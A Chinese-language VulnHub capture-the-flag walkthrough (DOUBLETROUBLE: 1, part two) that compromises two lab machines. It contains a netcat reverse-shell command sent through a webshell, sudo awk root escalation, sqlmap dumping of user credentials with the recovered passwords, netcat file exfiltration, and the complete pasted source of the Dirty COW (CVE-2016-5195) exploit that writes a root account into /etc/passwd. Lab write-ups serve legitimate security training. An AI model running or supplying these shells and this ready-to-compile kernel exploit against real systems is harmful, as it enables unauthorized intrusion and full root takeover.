vulnhub靶場之DOUBLETROUBLE: 1( 二 )

 獲取shell權限:
通過命令執行漏洞反彈shell,命令:http://192.168.4.195//uploads/users/542451-backdoor.php?cmd=nc -e /bin/bash 192.168.4.114 6688,kali端開啟對6688端口的監聽:nc -lvvp 6688,成功獲得shell權限,然后通過:python3 -c 'import pty;pty.spawn("/bin/bash")'升級下shell 。

vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
 提權:
查看下當前賬戶是否存在可以使用的特權命令,sudo -l,顯示存在一個awk命令 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
查詢下awk命令的提權方式進行提權,命令:sudo awk 'BEGIN {system("/bin/sh")}',提權成功 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖

vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
去root目錄下尋找flag未找到,但是發現了一個虛擬機:doubletrouble.ova 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
 第二個靶場下載:
這里使用nc進行文件的傳輸,靶機中:nc 192.168.4.114 8899 < doubletrouble.ova,kali中:nc -lvvp 8899 > doubletrouble.ova 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
第二個靶場的信息收集:
本地使用vbox打開之后使用nmap掃描下地址和服務和掃描第一個靶機一樣,發現主機ip:192.168.4.106,該主機同樣開放了22和80端口、ssh和web服務 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖

vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
訪問下web服務發現是一個登錄窗口,目錄掃描也未發現有用的目錄文件 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
SQL注入:
使用sqlmap測試下注入 , 看是否存在注入漏洞,命令:sqlmap -u "http://192.168.4.106/index.php" -forms,發現存在時間注入 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
然后進行數據庫的爆破,命令:sqlmap -u "http://192.168.4.106/index.php" -forms -dbs  , 成功獲取到數據庫:doubletrouble和information_schema 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
然后進行數據庫表名的爆破,命令:sqlmap -u "http://192.168.4.106/index.php" -forms -D doubletrouble --tables,成功獲得表:users 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
然后進行表信息的爆破,命令:sqlmap -u "http://192.168.4.106/index.php" -forms -D doubletrouble -T users --dump  , 成功獲得兩組賬戶名和密碼:montreux/GfsZxc1、clapton/ZubZub99 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
獲取shell:
通過xshell使用賬戶名和密碼進行嘗試連接 , 發現clapton/ZubZub99連接成功獲得shell權限 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
在當前賬戶下發現user.txt文件 , 獲取到第一個flag信息 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
提權:
查看下當前賬戶是否存在可以使用的特權命令,sudo -l,顯示不存在 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
查看下具有root權限的文件,命令:find / -perm -4000 -type f 2>/dev/null,發現存在一個/usr/lib/eject/dmcrypt-get-device , 在https://www.exploit-db.com/網站查詢可以可以利用的漏洞,發現存在本地提權漏洞,但是經過嘗試均失敗 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
查看下系統內核版本信息 , 發現存在臟牛漏洞 , 內核版本:3.2.0-4-amd64 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
可以在這個網站復制源碼進行編譯:https://github.com/FireFart/dirtycow/blob/master/dirty.c獲得可利用的exp獲得root權限賬戶,編譯命令:gcc -pthread zangniu.c -o zangniu  -lcrypt,執行命令:./zangniu root 。
vulnhub靶場之DOUBLETROUBLE: 1

文章插圖
CVE-2016-5195臟牛漏洞利用代碼 #include <fcntl.h>#include <pthread.h>#include <string.h>#include <stdio.h>#include <stdint.h>#include <sys/mman.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/ptrace.h>#include <stdlib.h>#include <unistd.h>#include <crypt.h>const char *filename = "/etc/passwd";const char *backup_filename = "/tmp/passwd.bak";const char *salt = "firefart";int f;void *map;pid_t pid;pthread_t pth;struct stat st;struct Userinfo {char *username;char *hash;int user_id;int group_id;char *info;char *home_dir;char *shell;};char *generate_password_hash(char *plaintext_pw) {return crypt(plaintext_pw, salt);}char *generate_passwd_line(struct Userinfo u) {const char *format = "%s:%s:%d:%d:%s:%s:%s\n";int size = snprintf(NULL, 0, format, u.username, u.hash,u.user_id, u.group_id, u.info, u.home_dir, u.shell);char *ret = malloc(size + 1);sprintf(ret, format, u.username, u.hash, u.user_id,u.group_id, u.info, u.home_dir, u.shell);return ret;}void *madviseThread(void *arg) {int i, c = 0;for(i = 0; i < 200000000; i++) {c += madvise(map, 100, MADV_DONTNEED);}printf("madvise %d\n\n", c);}int copy_file(const char *from, const char *to) {// check if target file already existsif(access(to, F_OK) != -1) {printf("File %s already exists! Please delete it and run again\n",to);return -1;}char ch;FILE *source, *target;source = fopen(from, "r");if(source == NULL) {return -1;}target = fopen(to, "w");if(target == NULL) {fclose(source);return -1;}while((ch = fgetc(source)) != EOF) {fputc(ch, target);}printf("%s successfully backed up to %s\n",from, to);fclose(source);fclose(target);return 0;}int main(int argc, char *argv[]){// backup fileint ret = copy_file(filename, backup_filename);if (ret != 0) {exit(ret);}struct Userinfo user;// set values, change as neededuser.username = "firefart";user.user_id = 0;user.group_id = 0;user.info = "pwned";user.home_dir = "/root";user.shell = "/bin/bash";char *plaintext_pw;if (argc >= 2) {plaintext_pw = argv[1];printf("Please enter the new password: %s\n", plaintext_pw);} else {plaintext_pw = getpass("Please enter the new password: ");}user.hash = generate_password_hash(plaintext_pw);char *complete_passwd_line = generate_passwd_line(user);printf("Complete line:\n%s\n", complete_passwd_line);f = open(filename, O_RDONLY);fstat(f, &st);map = mmap(NULL,st.st_size + sizeof(long),PROT_READ,MAP_PRIVATE,f,0);printf("mmap: %lx\n",(unsigned long)map);pid = fork();if(pid) {waitpid(pid, NULL, 0);int u, i, o, c = 0;int l=strlen(complete_passwd_line);for(i = 0; i < 10000/l; i++) {for(o = 0; o < l; o++) {for(u = 0; u < 10000; u++) {c += ptrace(PTRACE_POKETEXT,pid,map + o,*((long*)(complete_passwd_line + o)));}}}printf("ptrace %d\n",c);}else {pthread_create(&pth,NULL,madviseThread,NULL);ptrace(PTRACE_TRACEME);kill(getpid(), SIGSTOP);pthread_join(pth,NULL);}printf("Done! Check %s to see if the new user was created.\n", filename);printf("You can log in with the username '%s' and the password '%s'.\n\n",user.username, plaintext_pw);printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",backup_filename, filename);return 0;}

推薦閱讀